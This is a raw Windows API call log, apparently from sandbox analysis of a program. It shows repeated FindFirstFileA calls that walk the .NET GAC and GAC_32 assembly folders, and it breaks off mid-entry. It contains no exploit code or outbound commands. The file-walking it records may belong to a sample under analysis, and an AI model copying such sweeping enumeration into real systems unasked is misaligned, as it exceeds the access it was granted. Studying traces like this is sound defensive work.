[0229.116] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC\\Microsoft.Ink\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x409ffc9f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x5ecae20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5ecae20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.124] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC\\Microsoft.Ink\\1.0.2201.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x409415bd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x5ecae20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5ecae20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.130] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC\\Microsoft.Ink\\1.7.2600.2180__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40a720bf, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x5ef0f80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5ef0f80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.136] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC\\Microsoft.mshtml\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa60cbbb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5ef0f80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5ef0f80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.144] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC\\Microsoft.mshtml\\7.0.3300.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69b68150, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5ef0f80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5ef0f80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.151] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC\\Microsoft.StdFormat\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5fc1210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f170e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5f170e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.157] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC\\Microsoft.StdFormat\\7.0.3300.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69c006d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f170e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5f170e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.163] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC\\MSDATASRC\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa60cbbb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f3d240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5f3d240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.170] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC\\MSDATASRC\\7.0.3300.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f3d240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5f3d240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.192] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC\\stdole\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa60f1d10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f89500, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5f89500, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.196] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC\\stdole\\7.0.3300.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d3caa70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f89500, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5f89500, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.201] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb58a30, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f89500, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5f89500, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0229.213] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\AuditPolicyGPManagedStubs.Interop\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x5faf660, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5faf660, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.218] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\AuditPolicyGPManagedStubs.Interop\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x5faf660, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5faf660, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.224] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\BDATunePIA\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x5fd57c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5fd57c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.231] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\BDATunePIA\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x5fd57c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5fd57c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.238] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\CustomMarshalers\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb58a30, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5fd57c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5fd57c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.244] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\CustomMarshalers\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb58a30, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5ffb920, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5ffb920, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.251] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\ehexthost32\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x5ffb920, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5ffb920, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.258] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\ehexthost32\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6021a80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6021a80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.265] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\ISymWrapper\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb58a30, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6021a80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6021a80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.272] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\ISymWrapper\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb7eb8a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6047be0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6047be0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.279] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\mcstoredb\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6047be0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6047be0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.286] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\mcstoredb\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x606dd40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x606dd40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.294] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\Microsoft.GroupPolicy.AdmTmplEditor\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x606dd40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x606dd40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.302] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\Microsoft.GroupPolicy.AdmTmplEditor\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6093ea0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6093ea0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.308] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\Microsoft.GroupPolicy.AdmTmplEditor.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6093ea0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6093ea0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.314] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\Microsoft.GroupPolicy.AdmTmplEditor.Resources\\6.1.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6093ea0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6093ea0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.319] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\Microsoft.GroupPolicy.Interop\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x60ba000, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x60ba000, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.324] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\Microsoft.GroupPolicy.Interop\\2.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x60ba000, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x60ba000, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.329] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\Microsoft.Ink\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60ba000, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x60ba000, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.336] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\Microsoft.Ink\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60e0160, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x60e0160, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.342] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\Microsoft.Interop.Security.AzRoles\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb7eb8a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60e0160, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x60e0160, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.349] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\Microsoft.Interop.Security.AzRoles\\2.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb7eb8a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x61062c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x61062c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.355] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x61062c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x61062c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.362] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x61062c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x61062c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.369] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\Microsoft.Transactions.Bridge.Dtc\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x612c420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x612c420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.375] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\Microsoft.Transactions.Bridge.Dtc\\3.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x612c420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x612c420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.380] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\Microsoft.VisualStudio.Tools.Applications.InteropAdapter\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa69b8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6152580, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6152580, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.387] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\Microsoft.VisualStudio.Tools.Applications.InteropAdapter\\8.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5266ea30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6152580, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6152580, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.394] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\Microsoft.Windows.Diagnosis.SDEngine\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61786e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x61786e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.402] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_32\\Microsoft.Windows.Diagnosis.SDEngine\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, 